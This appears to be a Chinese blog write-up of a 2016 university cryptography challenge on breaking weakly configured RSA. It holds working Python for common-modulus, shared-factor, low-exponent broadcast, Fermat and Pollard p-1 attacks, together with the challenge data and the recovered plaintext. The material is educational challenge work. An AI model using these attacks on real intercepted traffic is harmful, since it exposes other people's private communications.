n[19]=94154993593274109828418786834159728190797445711539243887409583756844882924221269576486611543668906670821879426307992404721925623741478677756083992902711765865503466687919799394258306574702184666207180530598057989884729154273423032471322027993848437082723045300784582836897839491321003685598931080456249945287 n[20]=90916739755838083837461026375700330885001446224187511395518230504776419813625940046511904838818660297497622072999229706061698225191645268591198600955240116302461331913178712722096591257619538927050886521512453691902946234986556913039431677697816965623861908091178749411071673467596883926097177996147858865293 c[0]=48641173720475702278690317652676924796340996697567087705119344461991930773386153198223372579328462635803653561516674380209276666328375805315553713680858906705068657158073776194628700821011001144559278784795978097710145192236347629751116534400207288736776545247409895672030976932673010818369814246455196991083 c[1]=1626661141529320283833484152716550848856697186049377493478368799832043379420727509223318694347625977694500761460048670101820769656612419734057871562023463159698522348510157125720014700549254630959391701883372400982386084212421115166791728704867253734354874934210987301137512341070190760227227749365878233484 c[2]=39632263504870478574861695051251850807454294787974709214866410237055871793939895562441267574482198916367858789237648434983815369123479208726344716594227785308836601932181727610859898951190206345056426253251079929822424252271957269630987623886812686545521745791771387808772030614435314730783528512800343192265 c[3]=83421434286602546493364204139182949897795123160498680670964040331447569764445309937195566103281638928183742488663157138572020817924561990979723444797045375101801354862472761507421896454904818874439231990567738173059815647539737800523632262742398190575822391771655932895657208471832891505814792263361394479317 c[4]=19560634556305755550927540610989537766715902244072312818350844104485773927537226443429404190213856361759564153804627450805880512600339869169513348929194643809859468549718922965997647689203029517135396008631050292544022651948009392475583045438153697076529266662217519588521116539517972522591294232192817502376 c[5]=26054677793581772924866273737009673285775062802734786532404396138990264566536537921648515854012553861999940229349708989519156563830916553754762208466745321226835312974971739761769324569315525872096987367001543758380071859429619580182411498650200401467760546057912183435480924905200466941116258838789328064564 c[6]=47190775807472506173587993082023759909601357229808667044044468676457696140445235738005020994278091230440755033222450219378047807646817722376918364211727971804312327204294555178996480944188624972632371674822397258127227029990196956900925820980263353418653201918881814896866168764140848945600419602253279143149 c[7]=124929943232081828105808318993257526364596580021564021377503915670544445679836588765369503919311404328043203272693851622132258819278328852726005776082575583793735570095307898828254568015886630010269615546857335790791577865565021730890364239443651479580968112031521485174068731577348690810906553798608040451024 c[8]=25585088950095290712328215701309273521406235982885781641137768116285362079062975527364909549362511146004390419156826709543326814581466248280564194951706937822088902607754944405407698735824315900942915322054614437632116732271787823814807624841386886185122143173564380877370643120953803688563589496390425159539 c[9]=14375950543873882011796759348848479283522955796749853113492047625299699702886303193822347995567175524401038661237990847185236138967814088030767785916645492142741397786256445305366822277551514353423864240674522264407918605662008550545442780563568811883349771003546081844527788515420708612431091464410712019656 c[10]=78852785408127338210375705302361611580033298047358566712385067002412358292419274287993295604646693755514055710305938805847184012173449160624823261013152092151242661538772012880714981492275731658527465442787266554947828301571586721387286510359738598116104180351027973922256460236377354127082438812404967605644 c[11]=108387832390337770947361518376552702503741092284778824448943971792044922720461955035726863109418657218498659460663504872870862538725835055240750735576735249122665348803252691221869146679004017916359067454693701495389784159620341860394035373599823801288442604273046729873467936004227013186659110262247417571857 c[12]=44374979291120575503988741531987454898919254880086464254904878064332010355432423956182135846738023874326776872139229379943321321362822522900479438294291206287205647145759972233097276253408812699557305314344220807356024994977399840843758750494467535572805794732065369887057841293267499209427585419962565568495 c[13]=41663689952657185984513733558388033289292857758748468070934326941659317694408873831451567385012905508903797893149006067280788298408959017459890579859784072677410890657854942639040056924596925599973762214900728648657052474974405878868755028761443878403349272421153452240103741921751653022646614028009138548572 c[14]=35133765260146855599194761500993159592311136378033858818728078464540389548474611501950689942825550399101504201020687961256642455745888410410524955937773951578993882275525944145131794970001708655718844507774877602125183877782393564092461821246419013099835940432551540513624090850765797735157630551978900512155 c[15]=52253817590056116368273294519761274350847193477090280916373828903718796358618956145225746496960677477661151583828604021049936963779103440560630451125137344639503705880024677345063113240530798352727432768980751992926293801206779839157443722614687126711272753610923903360818026083573711899014859313677159790039 c[16]=24086371701602948122317790211004032014326487279907486724991846810668564197542368948703436295770758262739732290677177527297040556666434577730354732397784651220918412407485171180732327730242552955646750279842251200227937257322414662213662054605527282812231172173474061845763736546747711105935349033514358348526 c[17]=1395222187334055833498435136007269572138525113145744882969531037442244086277594803865217301719947066153176244638660864035949705664670633245110847416168796640199238733478540080417312141011028469385167826450855601412915611725028631975605932279023918771764204031806414734015476034106891049334159757621016327648 c[18]=49047978458885807127192385282227726754593888749388775377492411121925201201621099927332087316607446894372751446254341808051569111053293066232980434901592875347200122022210780536817524813076908750647137301610117592355818408280291766068780616226847056325075159440352473034526412778650516438709293396458312728764 c[19]=52958695992371180409414011678115981405835026800648278393085136639708219930134280877954018305615378579281651249142230848262822421713895227069561145945972448893229231020632492517869034217943260664130647322694583182800800838539691542175229797652856708373533581250607375664993806654537737027000328299623032632769 c[20]=23204039098754030513954332212496652705175644349879686639449689791620605370809827884267260830136516742466455588549253481016504796674014871020503543639681251834114159250986728840380777774144853925216884802529230212783759821262799845229436535491711201551797166082529740271577684082458494926929260818927584104158 结果分析 遍历所有的模数N,判断是否存在模数相同的加密片段,如果猜测可以用共模攻击\n遍历寻找任意两个模数N的公因子,如果得到不为1的公因子则可以因数碰撞\n#遍历所有模数,找到模数相同的加密密文 for i in range(0,21): for j in range(i+1,21): if n[i]==n[j]: print(\u0026#39;n[\u0026#39;+str(i)+\u0026#39;]==\u0026#39;+\u0026#39;n[\u0026#39;+str(j)+\u0026#39;]\u0026#39;) #遍历寻找任意两个模数N的公因子,如果得到不为1的公因子则可以成功分解这两个模数 for i in range(0,21): for j in range(i+1,21): if n[i]==n[j]: continue else: rem=math.gcd(n[i],n[j]) if rem!=1: print(\u0026#39;gcd(n[\u0026#39;+str(i)+\u0026#39;],n[\u0026#39;+str(j)+\u0026#39;]\u0026gt;1\u0026#39;) 结果 #n[0]==n[4] #gcd(n[1],n[18])\u0026gt;1 遍历所有加密指数e,寻找低加密指数及对应的加密对,可以用低指数广播攻击\ne[0]=46786465362686334917265996843779843233606992585424976481745055335468678697948774988450305612127967926533923268260412557000125153569622340353246096040604284883505587337829322949633637609180797447754513992039018904786537115087888005528547900640339270052628915440787357271345416818313808448127098885767015748889 e[1]=e[2]=e[5]=e[6]=e[9]=e[10]=e[13]=e[14]=e[17]=e[18]=e[19]=65537 e[2]=65537 e[3]=e[8]=e[12]=e[16]=e[20]=5 e[4]=152206992575706893484835984472544529509325440944131662631741403414037956695665533186650071476146389737020554215956181827422540843366433981607643940546405002217220286072880967331118344806315756304650248634546597784597963886656422706197757265316981889118026978865295597135470735576032282694348773714479076093197 e[7]=e[11]=e[15]=3 对上述的公钥e进行分析,主要有以下几种,其中e比较小的有3和5,其中\nFrame7,Frame11,Frame15采用低加密指数e=3进行加密\nFrame3,Frame8,Frame12,Frame16和Frame20均采用低加密指数e=5进行加密\n采用费马分解尝试p,q差距比较小的帧和Pollard p-1分解进行尝试p,q差距比较大的帧\nFrame10可以用费马分解法破解\nFrame2,6,19可以用p-1分解法破解\nBaidu or Google Hack\n实例破解 公共模数攻击 n[0]==n[4],还因为可能存在重复发包\n设两个用户的公钥分别为 $e_1$ 和 $e_2$ ,且两者互质。明文消息为 $m$ ,密文分别为: $$ \\begin{aligned} \u0026amp;c_1=m^{e_1} \\bmod n \\ \u0026amp;c_2=m^{e_2} \\bmod n \\end{aligned} $$ 当攻击者截获 $c_1$ 和 $c_2$ 后,就可以恢复出明文。用扩展欧几里得算法求出 $r e_1+s e_2=1 \\bmod n$ 的两个整数 $r$ 和 $s$ ,由此可得: $$ \\begin{aligned} c_1^r c_2^s \u0026amp; \\equiv m^{r e_1} m^{s e_2} \\bmod n \\ \u0026amp; \\equiv m^{\\left(r e_1+s e_2\\right)} \\bmod n \\ \u0026amp; \\equiv m \\bmod n \\end{aligned} $$\n#公共模数攻击 #扩展欧几里得算法 def exgcd(a,b): if b==0: return 1,0,a else: x,y,r=exgcd(b,a%b) x,y=y,(x-(a//b)*y) return x,y,r def same_mod_attack(n,e1,e2,c1,c2): x,y,r=exgcd(e1,e2) #求模逆元 if x\u0026lt;0: x=-x; c1=gmpy2.invert(c1,n) elif y\u0026lt;0: y=-y; c2=gmpy2.invert(c2,n) #求解明文 m=pow(c1,x,n)*pow(c2,y,n)%n #将明文转换为hex m=hex(m)[2:]#去掉0x #将hex转换为str m=binascii.unhexlify(m)[-8:]#hex-\u0026gt;str return m if __name__ == \u0026#39;__main__\u0026#39;: #公共模数攻击 for i in range(0,21): for j in range(i+1,21): if n[i]==n[j]: m2=same_mod_attack(n[i],e[i],e[j],c[i],c[j]) sloved[\u0026#39;Frame\u0026#39;+str(i)]=m2 sloved[\u0026#39;Frame\u0026#39;+str(j)]=m2 print(sloved) {\u0026lsquo;Frame0\u0026rsquo;: b\u0026rsquo;My secre\u0026rsquo;, \u0026lsquo;Frame4\u0026rsquo;: b\u0026rsquo;My secre\u0026rsquo;}\n公因数碰撞攻击 Frame1、Frame18采用该种攻击方法\n因数碰撞法指的是, 如果参数选取不当, $p$ 或者 $q$ 在多个RSA加密中出现多次,那么生成不同的 $\\mathrm{n}$ 可能会有相同的因子,我们假设 $\\mathrm{p}$相同,$\\mathrm{q}$不同,那么在 $$ \\left{\\begin{array}{l} n_1=p * q_1 \\ n_2=p * q_2 \\end{array}\\right. $$ 很容易知道 $$ \\operatorname{gcd}\\left(n_1, n_2\\right)=p $$ 这样很快就能将他们各自的私钥求解出来了。 代码过于简单, 直接gcd两个因数就行, 结果不为1就说明有相同因数。\n#公因数碰撞攻击 def same_factor_attack(): p_of_prime=gmpy2.gcd(n[1],n[18]) q1=n[1]//p_of_prime q18=n[18]//p_of_prime phi1=(p_of_prime-1)*(q1-1)#计算欧拉函数 phi18=(p_of_prime-1)*(q18-1)#计算欧拉函数 d1=gmpy2.invert(e[1],phi1)#计算私钥 d18=gmpy2.invert(e[18],phi18)#计算私钥 m1=pow(c[1],d1,n[1])#解密 m18=pow(c[18],d18,n[18])#解密 m1=hex(m1)[2:]#去掉0x m18=hex(m18)[2:]#去掉0x m1=binascii.unhexlify(m1)[-8:]#hex-\u0026gt;str m18=binascii.unhexlify(m18)[-8:]#hex-\u0026gt;str sloved[\u0026#39;Frame1\u0026#39;]=m1 sloved[\u0026#39;Frame18\u0026#39;]=m18 \u0026lsquo;Frame1\u0026rsquo;: b\u0026rsquo;. Imagin\u0026rsquo;, \u0026lsquo;Frame18\u0026rsquo;: b\u0026rsquo;m A to B\u0026rsquo;\n低指数广播攻击 Frame3、Frame8、Frame12、Frame16、Frame20采用该种攻击方法\n低加密指数广播攻击适合于$\\mathrm{n}$很大,$e$很小的情况, 其适用的情况是如$\\mathrm{n}$下的,当一条消息$m$发送给不同的接收者时,每个接收者的 $n$ 都不同,但是加密公钥都是相同的,我们假设公钥为3那么就有 $$ \\left{\\begin{array}{l} C_1=m^3 \\bmod n_1 \\ C_2=m^3 \\bmod n_2 \\ C_3=m^3 \\bmod n_3 \\end{array}\\right. $$ 由中国剩余定理知道,我们是可以将 $m^3$ 算出来的,那么对其开立方就将明文给求出来了。\n#中国剩余定理 def chinese_remainder_theorem(backup): #计算N的乘积 N=1 for a,n in backup: N*=n #计算Ni Ni=[] for a,n in backup: Ni.append(N//n) #计算Ni的模逆元 Ni_inverse=[] for i in range(0,len(Ni)): Ni_inverse.append(gmpy2.invert(Ni[i],backup[i][1])) #计算x x=0 for i in range(0,len(Ni)): x+=backup[i][0]*Ni[i]*Ni_inverse[i] x=x%N return x,N #低指数3 def low_exponent_attack3(): frame_range=[7,11,15] backup=[] for i in frame_range: backup.append([c[i],n[i]]) x,N=chinese_remainder_theorem(backup) #开三次方根 m=gmpy2.iroot(x,3)[0] m=hex(m)[2:]#去掉0x m=binascii.unhexlify(m)[-8:]#hex-\u0026gt;str sloved[\u0026#39;Frame7\u0026#39;]=m sloved[\u0026#39;Frame11\u0026#39;]=m sloved[\u0026#39;Frame15\u0026#39;]=m #低指数5 def low_exponent_attack5(): frame_range=[3,8,12,16,20] backup=[] for i in frame_range: backup.append([c[i],n[i]]) x,N=chinese_remainder_theorem(backup) #开五次方根 m=gmpy2.iroot(x,5)[0] m=hex(m)[2:]#去掉0x m=binascii.unhexlify(m)[-8:]#hex-\u0026gt;str sloved[\u0026#39;Frame3\u0026#39;]=m sloved[\u0026#39;Frame8\u0026#39;]=m sloved[\u0026#39;Frame12\u0026#39;]=m sloved[\u0026#39;Frame16\u0026#39;]=m sloved[\u0026#39;Frame20\u0026#39;]=m \u0026lsquo;Frame7\u0026rsquo;: b\u0026rsquo;\\xb8\\xbc\\xa2S)s\\xcd\\xd2\u0026rsquo;, \u0026lsquo;Frame11\u0026rsquo;: b\u0026rsquo;\\xb8\\xbc\\xa2S)s\\xcd\\xd2\u0026rsquo;, \u0026lsquo;Frame15\u0026rsquo;: b\u0026rsquo;\\xb8\\xbc\\xa2S)s\\xcd\\xd2\u0026rsquo;, \u0026lsquo;Frame3\u0026rsquo;: b\u0026rsquo;t is a f\u0026rsquo;, \u0026lsquo;Frame8\u0026rsquo;: b\u0026rsquo;t is a f\u0026rsquo;, \u0026lsquo;Frame12\u0026rsquo;: b\u0026rsquo;t is a f\u0026rsquo;, \u0026lsquo;Frame16\u0026rsquo;: b\u0026rsquo;t is a f\u0026rsquo;, \u0026lsquo;Frame20\u0026rsquo;: b\u0026rsquo;t is a f\u0026rsquo;\n可以看到Frame7,Frame11,Frame15采用低加密指数广播攻击出来是乱码,说明该种方法不正确\nFrame3、Frame8、Frame12、Frame16、Frame20可以采用该种攻击方法\nCoppersmith广播攻击 Coppersmith 是干了这么一件事: 今有一个 $e$ 阶的多项式 $f$, 那么可以:\n在模 $n$ 意义下,快速求出 $n^{1 / e}$ 以内的根\n给定 $\\beta$ ,快速求出模某个 $b$ 意义下较小的根,其中 $b \\geq n^\\beta$ ,是 $n$ 的因数。\nPollard p-1分解法 Frame2、Frame6、Frame19均采用该种攻击方法\nPollard p-1分解法是一种用于分解大质数的算法,它是Pollard rho算法的一种变体。它的基本思想是利用费马小定理来找到大质数的一个小因子。\n如果 $p$ 与 $q$ 都不超过 $10^{20}$ 次方, 若其中一个 $(p-1)$ 或 $(q-1)$ 的因子都很小的时候(适用于p-1或q-1能够被小素数整除的情况,在这里为了方便说明我们假设为 $(p-1))$ ,可以如下操作: 选取一个整数 $k$, 使其满足 $(p-1) \\mid k!$,由费马小定理知道, $a$ 与 $p$ 互素 的时候有 $$ a^{p-1}=1 \\bmod p $$ 所以 $a^{k !}=1 \\bmod p \\quad, \\quad$即 $\\mathrm{p} \\mid\\left(a^{k !}-1\\right)$ 。 那么对于 $\\mathrm{n}$ 与 $\\left(a^{k !}-1\\right)$ 必有公因数为 $\\mathrm{p}$, 这样就可以把 $\\mathrm{n}$ 分解出来了。 但是对于 $k$ 的选取还是有要求的,太小了 $(p-1) \\mid k !$不会成立,太大了花费时间会很多。\n首先选取一个合适的整数a和一个正整数B; 选择一个整数k,使得k满足2\u0026lt;=k\u0026lt;=B; 计算$a^k ~ mod ~ n$,然后将其与n计算最大公因数,记为d; 如果d是n的因子,则输出d;否则,将d作为下一次迭代的起点,重复执行第3步和第4步,直到找到一个因子或者达到最大迭代次数为止。 在实际使用中,可以选择多个不同的a值和不同的B值,然后分别运行p-1分解法,取所有得到的因子的最大公因数作为最终的结果。\n需要注意的是,p-1分解法的效率取决于选取的参数a和B的大小。如果a过小或B过大,算法可能无法找到因子;如果a过大或B过小,算法可能会陷入循环而无法得到结果。因此,在实际应用中需要进行合理的参数选择。\nGet $\\mathrm{n}$, an odd integer to be factored.\nLet $\\mathrm{a}=2$ and $\\mathrm{i}=2$.\nCompute $a=a^i \\bmod n$.\nCompute $\\mathrm{d}=\\operatorname{gcd}(\\mathrm{a}-1, \\mathrm{n})$.\nIf $1\u0026lt;\\mathrm{d}\u0026lt;\\mathrm{n}$, then output $\\mathrm{d}$ as a factor of $\\mathrm{n}$.\nIf $\\mathrm{d}=1$, then $\\mathrm{i}=\\mathrm{i}+1$, and go to step 3.\n#Pollard\u0026#39;s p-1算法 def pollard_p_1(n): b=2**20 a=2 for i in range(2,b+1): a=gmpy2.powmod(a,i,n) d=gmpy2.gcd(a-1,n) if d!=1 and d!=n: q=n//d n=q*d return d def pollard_data(n): frame_range=[2,6,19] for i in frame_range: temp_n=n[i] temp_c=c[i] temp_e=e[i] p=pollard_p_1(temp_n) q=temp_n//p phi=(p-1)*(q-1) d=gmpy2.invert(temp_e,phi) m=pow(temp_c,d,temp_n) m=hex(m)[2:]#去掉0x m=binascii.unhexlify(m)[-8:]#hex-\u0026gt;str sloved[\u0026#39;Frame\u0026#39;+str(i)]=m \u0026lsquo;Frame2\u0026rsquo;: b\u0026rsquo; That is\u0026rsquo;, \u0026lsquo;Frame6\u0026rsquo;: b\u0026rsquo; \u0026ldquo;Logic \u0026lsquo;, \u0026lsquo;Frame19\u0026rsquo;: b\u0026rsquo;instein.\u0026rsquo;\n费马分解法 如果 $p$ 和 $q$ 相差不大的话我们可以通过费马分解把 $p$ 和 $q$ 求出来, 原理如 下 $$ \\mathrm{n}=\\mathrm{p} * \\mathrm{q}=\\frac{1}{4}(p+q)^2-\\frac{1}{4}(p-q)^2 $$ 由于 $\\mathrm{p}$ 与 $\\mathrm{q}$ 相差不大, 所以 $\\mathrm{p}-\\mathrm{q}$ 相对于 $\\mathrm{n}$ 和 $(p+q)^2$ 来说可以忽略不计, 所以有~ $$ 2 \\sqrt{\\mathrm{n}} \\approx \\mathrm{p}+\\mathrm{q} $$ 也就是说通过不断尝试就可以把 $\\mathrm{p}$ 和 $\\mathrm{q}$ 给计算出来了\np、q比较接近时,可以使用这种攻击方法\n# 费马分解 def fermat_factorization(n): a=gmpy2.iroot(n,2)[0]+1 max=200000 for i in range(0,max): b2=a*a-n b=gmpy2.iroot(b2,2)[0] if gmpy2.is_square(b2): p=a-b q=a+b return p,q a+=1 def fermat_data(): frame_range=[10] for i in frame_range: p,q=fermat_factorization(n[i]) phi=(p-1)*(q-1)#计算欧拉函数 d=gmpy2.invert(e[i],phi)#计算私钥 m=pow(c[i],d,n[i])#解密 m=hex(m)[2:]#去掉0x m=binascii.unhexlify(m)[-8:]#hex-\u0026gt;str sloved[\u0026#39;Frame\u0026#39;+str(i)]=m 经检验,Frame10可以采用该种攻击方法\n\u0026lsquo;Frame10\u0026rsquo;: b\u0026rsquo;will get\u0026rsquo;\n总结 帧号 value solution Frame0 My secre 公共模数攻击 Frame1 . Imagin 公因数碰撞攻击 Frame2 That is Pollard rho-p-1分解法 Frame3 t is a f 低指数广播攻击 Frame4 My secre 公共模数攻击 Frame5 Frame6 \u0026ldquo;Logic Pollard rho-p-1分解法 Frame7 \\xb8\\xbc\\xa2S)s\\xcd\\xd2 Frame8 t is a f 低指数广播攻击 Frame9 Frame10 will get 费马分解法 Frame11 \\xb8\\xbc\\xa2S)s\\xcd\\xd2 Frame12 t is a f 低指数广播攻击 Frame13 Frame14 Frame15 \\xb8\\xbc\\xa2S)s\\xcd\\xd2 Frame16 t is a f 低指数广播攻击 Frame17 Frame18 m A to B 公因数碰撞攻击 Frame19 instein. Pollard rho-p-1分解法 Frame20 t is a f 低指数广播攻击 整理一下My secret is a f__instein. That is \u0026ldquo;Logic will get__m A to B. Imagin__\n根据搜索结果可以补全后面的saying的内容,根据语义也可以填充前面的内容\nMy secret is a famous saying of Albert Einstein. That is \u0026ldquo;Logic will get you from A to B. Imagination will take you everywhere.“\n\t参考链接 [2016 全国高校密码数学挑战赛-赛题三] https://www.tr0y.wang/2017/10/31/RSA2016/\n[现代密码学大作业] https://blog.csdn.net/m0_63571390/article/details/122375466?spm=1001.2014.3001.5501\n[关于RSA的几种攻击手段] https://blog.csdn.net/pigeon_1/article/details/114371456\n[Twenty Years of Attacks on the RSA Cryptosystem] https://www.ams.org/notices/199902/boneh.pdf\n[On using Pollard’s p-1 Algorithm to Factor RPrime RSA Modulus] https://www.scitepress.org/Papers/2018/100836/100836.pdf\n完整代码 import binascii import gmpy2 import math n=[]#模数集合 e=[]#公钥指数集合 c=[]#密文集合 m={zip([\u0026#39;Frame\u0026#39;+str(i) for i in range(0,21)],\u0026#39;\u0026#39;)} # Path: code\\main.py sloved={}#已解密的密文集合 filename=[\u0026#39;data\\Frame\u0026#39;+str(i) for i in range(0,21)]#文件名集合 # print(filename) for i in range(0,21): f=open(filename[i],\u0026#39;r\u0026#39;) data=f.read() #str-\u0026gt;hex-\u0026gt;int n.append(int(data[:256],16)) e.append(int(data[256:512],16)) c.append(int(data[512:],16)) #输出e的值 # for i in range(0,21): # print(\u0026#39;e[\u0026#39;+str(i)+\u0026#39;]=\u0026#39;+str(e[i])) # #输出n的值 # for i in range(0,21): # print(\u0026#39;n[\u0026#39;+str(i)+\u0026#39;]=\u0026#39;+str(n[i])) # #输出c的 # for i in range(0,21): # print(\u0026#39;c[\u0026#39;+str(i)+\u0026#39;]=\u0026#39;+str(c[i])) #遍历所有模数,找到模数相同的加密密文 for i in range(0,21): for j in range(i+1,21): if n[i]==n[j]: print(\u0026#39;n[\u0026#39;+str(i)+\u0026#39;]==\u0026#39;+\u0026#39;n[\u0026#39;+str(j)+\u0026#39;]\u0026#39;) #遍历寻找任意两个模数N的公因子,如果得到不为1的公因子则可以成功分解这两个模数 for i in range(0,21): for j in range(i+1,21): if n[i]==n[j]: continue else: rem=math.gcd(n[i],n[j]) if rem!=1: print(\u0026#39;gcd(n[\u0026#39;+str(i)+\u0026#39;],n[\u0026#39;+str(j)+\u0026#39;])=\u0026#39;+str(rem)) #公共模数攻击 #扩展欧几里得算法 def exgcd(a,b): if b==0: return 1,0,a else: x,y,r=exgcd(b,a%b) x,y=y,(x-(a//b)*y) return x,y,r def same_mod_attack(n,e1,e2,c1,c2): x,y,r=exgcd(e1,e2) #求模逆元 if x\u0026lt;0: x=-x; c1=gmpy2.invert(c1,n) elif y\u0026lt;0: y=-y; c2=gmpy2.invert(c2,n) #求解明文 m=pow(c1,x,n)*pow(c2,y,n)%n #将明文转换为hex m=hex(m)[2:]#去掉0x #将hex转换为str m=binascii.unhexlify(m)[-8:]#hex-\u0026gt;str return m #公因数碰撞攻击 def same_factor_attack(): p_of_prime=gmpy2.gcd(n[1],n[18]) q1=n[1]//p_of_prime q18=n[18]//p_of_prime phi1=(p_of_prime-1)*(q1-1)#计算欧拉函数 phi18=(p_of_prime-1)*(q18-1)#计算欧拉函数 d1=gmpy2.invert(e[1],phi1)#计算私钥 d18=gmpy2.invert(e[18],phi18)#计算私钥 m1=pow(c[1],d1,n[1])#解密 m18=pow(c[18],d18,n[18])#解密 m1=hex(m1)[2:]#去掉0x m18=hex(m18)[2:]#去掉0x m1=binascii.unhexlify(m1)[-8:]#hex-\u0026gt;str m18=binascii.unhexlify(m18)[-8:]#hex-\u0026gt;str sloved[\u0026#39;Frame1\u0026#39;]=m1 sloved[\u0026#39;Frame18\u0026#39;]=m18 #中国剩余定理 def chinese_remainder_theorem(backup): #计算N的乘积 N=1 for a,n in backup: N*=n #计算Ni Ni=[] for a,n in backup: Ni.append(N//n) #计算Ni的模逆元 Ni_inverse=[] for i in range(0,len(Ni)): Ni_inverse.append(gmpy2.invert(Ni[i],backup[i][1])) #计算x x=0 for i in range(0,len(Ni)): x+=backup[i][0]*Ni[i]*Ni_inverse[i] x=x%N return x,N #低指数3 def low_exponent_attack3(): frame_range=[7,11,15] backup=[] for i in frame_range: backup.append([c[i],n[i]]) x,N=chinese_remainder_theorem(backup) #开三次方根 m=gmpy2.iroot(x,3)[0] m=hex(m)[2:]#去掉0x m=binascii.unhexlify(m)[-8:]#hex-\u0026gt;str sloved[\u0026#39;Frame7\u0026#39;]=m sloved[\u0026#39;Frame11\u0026#39;]=m sloved[\u0026#39;Frame15\u0026#39;]=m #低指数5 def low_exponent_attack5(): frame_range=[3,8,12,16,20] backup=[] for i in frame_range: backup.append([c[i],n[i]]) x,N=chinese_remainder_theorem(backup) #开五次方根 m=gmpy2.iroot(x,5)[0] m=hex(m)[2:]#去掉0x m=binascii.unhexlify(m)[-8:]#hex-\u0026gt;str sloved[\u0026#39;Frame3\u0026#39;]=m sloved[\u0026#39;Frame8\u0026#39;]=m sloved[\u0026#39;Frame12\u0026#39;]=m sloved[\u0026#39;Frame16\u0026#39;]=m sloved[\u0026#39;Frame20\u0026#39;]=m # 费马分解 def fermat_factorization(n): a=gmpy2.iroot(n,2)[0]+1 max=200000 for i in range(0,max): b2=a*a-n b=gmpy2.iroot(b2,2)[0] if gmpy2.is_square(b2): p=a-b q=a+b return p,q a+=1 def fermat_data(): frame_range=[10] for i in frame_range: p,q=fermat_factorization(n[i]) phi=(p-1)*(q-1)#计算欧拉函数 d=gmpy2.invert(e[i],phi)#计算私钥 m=pow(c[i],d,n[i])#解密 m=hex(m)[2:]#去掉0x m=binascii.unhexlify(m)[-8:]#hex-\u0026gt;str sloved[\u0026#39;Frame\u0026#39;+str(i)]=m #Pollard\u0026#39;s p-1算法 def pollard_p_1(n): b=2**20 a=2 # while True: # a=gmpy2.powmod(a,b,n) # d=gmpy2.gcd(a-1,n) # if d!=1 and d!=n: # return d # a+=1 for i in range(2,b+1): a=gmpy2.powmod(a,i,n) d=gmpy2.gcd(a-1,n) if d!=1 and d!=n: q=n//d n=q*d return d def pollard_data(n): frame_range=[2,6,19] for i in frame_range: temp_n=n[i] temp_c=c[i] temp_e=e[i] p=pollard_p_1(temp_n) q=temp_n//p phi=(p-1)*(q-1) d=gmpy2.invert(temp_e,phi) m=pow(temp_c,d,temp_n) m=hex(m)[2:]#去掉0x m=binascii.unhexlify(m)[-8:]#hex-\u0026gt;str sloved[\u0026#39;Frame\u0026#39;+str(i)]=m if __name__ == \u0026#39;__main__\u0026#39;: #公共模数攻击 for i in range(0,21): for j in range(i+1,21): if n[i]==n[j]: m2=same_mod_attack(n[i],e[i],e[j],c[i],c[j]) sloved[\u0026#39;Frame\u0026#39;+str(i)]=m2 sloved[\u0026#39;Frame\u0026#39;+str(j)]=m2 #公因数碰撞攻击 same_factor_attack() print(sloved) #低指数攻击 low_exponent_attack3() low_exponent_attack5() print(sloved) #费马分解 fermat_data() print(sloved) #Pollard\u0026#39;s p-1算法 pollard_data(n) print(sloved) #输出将地点按照帧数排序 for i in range(1,21): Frame_name=\u0026#39;Frame\u0026#39;+str(i) if Frame_name in sloved: print(Frame_name+\u0026#39;:\u0026#39;) print(sloved[Frame_name]) else: print(Frame_name+\u0026#39;:Not sloved\u0026#39;) ","permalink":"https://niceasiv.cn/posts/rsaattack/","summary":"题目摘要 赛题名称: RSA 加密体制破译 赛题描述 RSA密码算法是使用最为广泛的公钥密码体制。该体制简单且易于实现,只需要选择5个参数即可(两个素数$𝑝$和$𝑞$、模数$𝑁=𝑝𝑞$、加密指数$𝑒$和解密指数$𝑑$。设𝑚为待加密消息RSA体制破译相当于已知$𝑚^𝑒$ $mod$ $𝑁$能否还原𝑚的数论问题。目前模数规模为1024比特的RSA算法一般情况下是安全的,但是如果参数选取不当,同样存在被破译的可能。有人制作了一个RSA加解密软件采用的RSA体制的参数特点描述见密码背景部分)。\n已知该软件发送某个明文的所有参数和加密过程的全部数据(加密案例文件详见附件3-1。Alice使用该软件发送了一个通关密语,且所有加密数据已经被截获,请问能否仅从加密数据恢复该通关密语及RSA体制参数?如能请给出原文和参数,如不能请给出已恢复部分并说明剩余部分不能恢复的理由?\n加密过程 原始明文 This is a test of my RSA system. Frame0\nA5F51EB02EA9C0CC9B96926A08A761FE3E7CDB6E5B348DBEAEC761DBCFCDB15A6C76F8EE08196008AE60E396D7E228C6DAFC3CC1127F16EC87576B89C151F20F99098621FD46872BC92CDA8C915B758E5C0CACB994F55B8705B938126E08589E2502A7B9019C9A62E82392E8449E00CFC7DA17B8CDE92F9516CE9A2009F42DD900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100019726C82FED1E6CD58DE825528AE5634653C9921CAE02AFF7325F20D6E7085B7C8E3DC78D7518A78A8BC7D07E2E837083324579510851827794AE3D1FB9BAB360B1413A8F171A83804CEA73DFBC1248139BB27EB7D5BAD724AD8B08F51888B90562AF950725ACDD698F817AE62746CEA09479A191A6552B0116830355C68D0F61 Frame1\nA5F51EB02EA9C0CC9B96926A08A761FE3E7CDB6E5B348DBEAEC761DBCFCDB15A6C76F8EE08196008AE60E396D7E228C6DAFC3CC1127F16EC87576B89C151F20F99098621FD46872BC92CDA8C915B758E5C0CACB994F55B8705B938126E08589E2502A7B9019C9A62E82392E8449E00CFC7DA17B8CDE92F9516CE9A2009F42DD90000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010001789018FDB800AD59A54D27A77F280515BB3BFAB1CD75CB0A255A116D4A44849459FD887FF091F87C0B3E6305F019700E4E4CB3646D1DF276DFB87C4F64245F77377508EC6A796236F8ABB125023D3F4B898F55E3342D0A852193AF890990EA82F12FC85917BF132F2A58C449648D6E934B24E80307AB092DB18110D77BBA0F8E 